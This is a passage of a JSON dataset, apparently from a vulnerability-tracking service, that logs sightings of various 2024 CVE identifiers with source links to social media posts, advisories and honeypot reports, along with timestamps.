"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3lgnaagx56c2u", "content": "", "creation_timestamp": "2025-01-26T10:37:46.223686Z"}, {"uuid": "18e0a2d7-e5f4-4613-92f3-680668c57f49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3lguatmn4wu2i", "content": "", "creation_timestamp": "2025-01-29T05:37:06.672849Z"}, {"uuid": "8996c1aa-cb9b-4633-ad5c-6e8091acb6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/nidouille.bsky.social/post/3lgnabned5s2l", "content": "", "creation_timestamp": "2025-01-26T10:38:26.388069Z"}, {"uuid": "321f16e9-9c57-40dc-a05b-19eedadc8ca6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113894344931755761", "content": "", "creation_timestamp": "2025-01-26T11:09:46.512366Z"}, {"uuid": "79b64146-7d08-479a-94a8-5ffabca3164b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lgnehp422i2a", "content": "", "creation_timestamp": "2025-01-26T11:53:23.467321Z"}, {"uuid": "c7410caa-b85d-4b26-ad12-8323c67c7dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/insightsintothings.bsky.social/post/3lgqetr43yk25", "content": "", "creation_timestamp": "2025-01-27T16:37:18.031260Z"}, {"uuid": "50fbeef5-71cd-41e5-8fd6-a404b8031a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lgqethcdkq2g", "content": "", "creation_timestamp": "2025-01-27T16:37:57.466803Z"}, {"uuid": "c7869ef0-1fe6-423f-b318-c8f16228361e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lggjkwueie2t", "content": "", "creation_timestamp": "2025-01-23T18:36:04.352117Z"}, {"uuid": "7837e89a-1da4-4475-aa0d-a0c5b013b03c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lgnitr2nvs2b", "content": "", "creation_timestamp": "2025-01-26T13:11:43.859623Z"}, {"uuid": "2e6c6498-0784-4a9e-bedf-d3c404555387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://thehackernews.com/2025/01/metas-llama-framework-flaw-exposes-ai.html", "content": "", "creation_timestamp": "2025-01-26T09:15:00.000000Z"}, {"uuid": "c7b2bf50-44c1-4dae-a550-64296fc1081b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/nekogang.bsky.social/post/3lgnstybfhk23", "content": "", "creation_timestamp": "2025-01-26T16:10:50.878665Z"}, {"uuid": "a8d74aea-5f20-48d9-be26-2306cf9f5228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lgqg6ng4pr24", "content": "", "creation_timestamp": "2025-01-27T17:02:07.080054Z"}, {"uuid": "11a29784-43c6-4362-aeab-f3d6e3e765b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50338", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lgsvanwiok2v", "content": "", "creation_timestamp": "2025-01-28T16:37:00.455284Z"}, {"uuid": "2f3a964b-7f9f-440f-b631-999f6ed2ba8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50664", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113879969360811772", "content": "", "creation_timestamp": "2025-01-23T22:13:51.431384Z"}, {"uuid": "60dd88bf-8e2b-499b-8f0a-1e2ac13d0fb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50665", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113879969375527707", "content": "", "creation_timestamp": "2025-01-23T22:13:51.672479Z"}, {"uuid": "10a5e6e3-20c9-4aa0-80b3-8b92788d512e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50665", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggvtrznxb2n", "content": "", "creation_timestamp": "2025-01-23T22:15:44.519727Z"}, {"uuid": "39c37583-0175-4c38-8df6-1481d88fe681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lgdho437wi24", "content": "", "creation_timestamp": "2025-01-22T13:24:03.841493Z"}, {"uuid": "5dbb3c38-3f98-47b7-aa1d-03311756b12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50664", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggvtpra2p2p", "content": "", "creation_timestamp": "2025-01-23T22:15:42.072778Z"}, {"uuid": "45ab8127-b136-4e32-adf3-7f199a29e3ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljrrpwem4uz2", "content": "", "creation_timestamp": "2025-03-07T10:17:35.138495Z"}, {"uuid": "bc2a24e7-2daf-4742-adfb-5a5d9eb97aa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-08)", "content": "", "creation_timestamp": "2025-02-08T00:00:00.000000Z"}, {"uuid": "5d0ec895-60a5-4191-bce2-308fc7eb8597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5084", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:05.000000Z"}, {"uuid": "a31fd849-b1d0-4953-80f0-e0d2b8546e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-d6499dff-06fb58f112d18e92", "content": "", "creation_timestamp": "2025-03-03T11:12:05.765774Z"}, {"uuid": "9ff65ed8-b0c5-44cf-97da-b2297c683a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50569", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-095/", "content": "", "creation_timestamp": "2025-02-24T05:00:00.000000Z"}, {"uuid": "2142ec98-8a95-45b2-b887-12289e42ffd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lkntltqrh62p", "content": "", "creation_timestamp": "2025-03-18T14:04:55.163189Z"}, {"uuid": "c41f402e-91de-4349-9165-4787b19b8495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50567", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-094/", "content": "", "creation_timestamp": "2025-02-24T05:00:00.000000Z"}, {"uuid": "286ef252-4c4e-4fcf-9172-dedd2fc1ece8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lhudefrtz72a", "content": "", "creation_timestamp": "2025-02-10T23:47:29.095096Z"}, {"uuid": "c5590893-c70e-46eb-ae78-a729e563768f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljpe2jpqwsl2", "content": "", "creation_timestamp": "2025-03-06T11:17:52.441895Z"}, {"uuid": "35bba581-dfe3-44b9-b98d-dcc0fb1386e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljsdyipu6ov2", "content": "", "creation_timestamp": "2025-03-07T16:01:56.483235Z"}, {"uuid": "41f4a041-7158-4378-b78d-0121f3618b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50684", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:40.646006Z"}, {"uuid": "a4e17b6d-a8ce-41c6-96ef-9bd5e2e153a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50696", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:40.710616Z"}, {"uuid": "fb7254d2-c5ac-4bd5-90e4-28b7d655e207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50693", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:40.772029Z"}, {"uuid": "99478081-a3b4-4db0-99cd-68b69c74ddd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50691", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:40.835503Z"}, {"uuid": "ab4cb094-317e-47a7-acac-463d21c23ace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50689", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:40.898725Z"}, {"uuid": "8235fa1a-ad55-4d0e-a135-c5b17c346719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50688", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:40.959718Z"}, {"uuid": "8c931267-d7c9-4e89-bfd2-dc0ab0bc2d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50687", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:41.018532Z"}, {"uuid": "e77ba7d6-a077-42e1-b3b8-a2f24eb0b75a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50686", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:41.078357Z"}, {"uuid": "a45ee3de-7722-48ec-a2e7-9f0a4dc96c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50685", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114072408550773487", "content": "", "creation_timestamp": "2025-02-26T21:53:41.136724Z"}, {"uuid": "c19ee5da-0c6a-465b-9dee-5d63b7600470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-25)", "content": "", "creation_timestamp": "2025-03-25T00:00:00.000000Z"}, {"uuid": "ad273703-b536-4319-9312-cb8102fea06d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50685", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jzrmq2e2t", "content": "", "creation_timestamp": "2025-02-26T23:33:18.008827Z"}, {"uuid": "7be37bd3-ea35-486c-8f67-fb3fee28102d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50688", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jzsc4zb22", "content": "", "creation_timestamp": "2025-02-26T23:33:18.791904Z"}, {"uuid": "36461a33-6fb0-4b83-8af4-480c27c57c5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50696", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jztbvsh2w", "content": "", "creation_timestamp": "2025-02-26T23:33:21.137943Z"}, {"uuid": "361888e8-f19e-449b-91c6-434c2f8f21e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3ljmmrbi2pn2g", "content": "", "creation_timestamp": "2025-03-05T09:04:50.152178Z"}, {"uuid": "f221d30b-e835-4ca2-b03f-ea84c3ca7882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50687", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jzss4lf2y", "content": "", "creation_timestamp": "2025-02-26T23:33:20.162699Z"}, {"uuid": "9e92ae88-c28c-4474-b63b-e3cff1120e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3ljal7jtnws2n", "content": "", "creation_timestamp": "2025-02-28T14:05:06.493541Z"}, {"uuid": "f8361ebf-f5f0-4a74-92dd-48a37cce8472", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50686", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jztqs6j22", "content": "", "creation_timestamp": "2025-02-26T23:33:22.420233Z"}, {"uuid": "03313591-0bf7-461c-993f-2af7ec671fe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3ljal7yglds2n", "content": "", "creation_timestamp": "2025-02-28T14:05:19.182024Z"}, {"uuid": "7371d985-1e6f-4ecc-94d0-22c391d0a1ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50691", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jztungb26", "content": "", "creation_timestamp": "2025-02-26T23:33:23.045309Z"}, {"uuid": "5968e170-92a5-42d3-bac6-15a615ab1641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/grapheneos.org/post/3ljalaxxels2n", "content": "", "creation_timestamp": "2025-02-28T14:05:52.208753Z"}, {"uuid": "b92df68d-1503-4a44-a31c-e2175b4dba29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50684", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lj4jztziyo2s", "content": "", "creation_timestamp": "2025-02-26T23:33:23.787438Z"}, {"uuid": "9737abae-1e0d-4ccc-8c71-1f8afb6b9122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50567", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986285715687015", "content": "", "creation_timestamp": "2025-02-11T16:51:30.327593Z"}, {"uuid": "328ab185-f2f0-4306-a5dc-eb81ff848e9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50569", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986285732278387", "content": "", "creation_timestamp": "2025-02-11T16:51:30.508592Z"}, {"uuid": "398c131e-a264-4166-a7a2-c42f089d79fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50567", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5yg5snt2x", "content": "", "creation_timestamp": "2025-02-11T17:16:37.610230Z"}, {"uuid": "24126a29-cd41-4d48-84a3-f1ac2d228f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50569", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5yinz452h", "content": "", "creation_timestamp": "2025-02-11T17:16:40.327480Z"}, {"uuid": "0565657a-95ef-4359-8d1a-d946444dbd22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50567", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986497919466758", "content": "", "creation_timestamp": "2025-02-11T17:45:29.106598Z"}, {"uuid": "7af3135a-304b-4d7b-9fcc-e6514b894f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50569", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986497919466758", "content": "", "creation_timestamp": "2025-02-11T17:45:29.161445Z"}, {"uuid": "d37294ed-fc1c-429e-87ac-ed004731e268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/tuxcare.bsky.social/post/3lklto7wza22h", "content": "", "creation_timestamp": "2025-03-17T19:00:55.917106Z"}, {"uuid": "0e305c0d-0406-47b2-adc2-bbe36fe93e69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3ljaqprsgas2u", "content": "", "creation_timestamp": "2025-02-28T15:43:45.204871Z"}, {"uuid": "fe2e35af-6df6-407f-aac7-cfe2faa8eca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3ljaqprssx22u", "content": "", "creation_timestamp": "2025-02-28T15:43:46.715678Z"}, {"uuid": "d494a1fc-a1d9-4936-bebd-be4627265a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50567", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwbkb6sjs2w", "content": "", "creation_timestamp": "2025-02-11T18:20:20.175701Z"}, {"uuid": "fb5632c9-c8ee-4335-9f17-b08dad1b7c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3ljaqpueuwc2u", "content": "", "creation_timestamp": "2025-02-28T15:43:48.254319Z"}, {"uuid": "6ab3236c-3faa-4538-b135-d3a8a4a6c280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3ljaqpvpi7c2u", "content": "", "creation_timestamp": "2025-02-28T15:43:49.736664Z"}, {"uuid": "22484eaf-fef8-4aa1-b375-ddc9fec226d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3ljaqpwq6422u", "content": "", "creation_timestamp": "2025-02-28T15:43:51.223576Z"}, {"uuid": "14537c2e-a2fa-4298-b14d-087fa604343e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3ljaqpwq73c2u", "content": "", "creation_timestamp": "2025-02-28T15:43:52.700628Z"}, {"uuid": "f4fa1056-dc85-4193-9b79-4eb9e49600c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/andreyknvl.bsky.social/post/3ljaqpwqa2k2u", "content": "", "creation_timestamp": "2025-02-28T15:43:54.215083Z"}, {"uuid": "e54a9556-4fe4-46a8-a489-99caf5089d6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ljpk5yeha3a2", "content": "", "creation_timestamp": "2025-03-06T13:05:53.902317Z"}, {"uuid": "6b75ad0d-adda-42eb-b91e-84922b79c64d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ljmrw3aigk2q", "content": "", "creation_timestamp": "2025-03-05T10:37:05.418642Z"}, {"uuid": "8918857d-78d1-4659-806f-3a903f75c0a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljym4xw6lc2b", "content": "", "creation_timestamp": "2025-03-10T03:25:27.300189Z"}, {"uuid": "2ef21e00-fb2a-4fb6-9769-c0fe0b5b3b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3ljpscy7ltp2y", "content": "", "creation_timestamp": "2025-03-06T15:22:12.155645Z"}, {"uuid": "d85ea37f-222e-4b51-ac44-37b641edc71b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3ljpst6w6vj2e", "content": "", "creation_timestamp": "2025-03-06T15:31:15.991318Z"}, {"uuid": "3e34fded-08fc-422f-a25d-82fd3d18f595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50394", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3ljyt6jyp3c2g", "content": "", "creation_timestamp": "2025-03-10T05:31:34.897137Z"}, {"uuid": "a4edd521-ae19-4cf4-94df-2fd6c5392873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ljkjmdqw4s24", "content": "", "creation_timestamp": "2025-03-04T13:03:04.596455Z"}, {"uuid": "03d493f6-52b7-4683-8c26-f23bdf2a3292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50707", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljmwkpich32f", "content": "", "creation_timestamp": "2025-03-05T12:00:09.975903Z"}, {"uuid": "7c880535-e6c7-4d98-a7e1-613c421ffa83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50706", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljmwkp26fr27", "content": "", "creation_timestamp": "2025-03-05T12:00:08.540347Z"}, {"uuid": "d39f0d9b-daf8-4261-b658-f277a729c68c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": 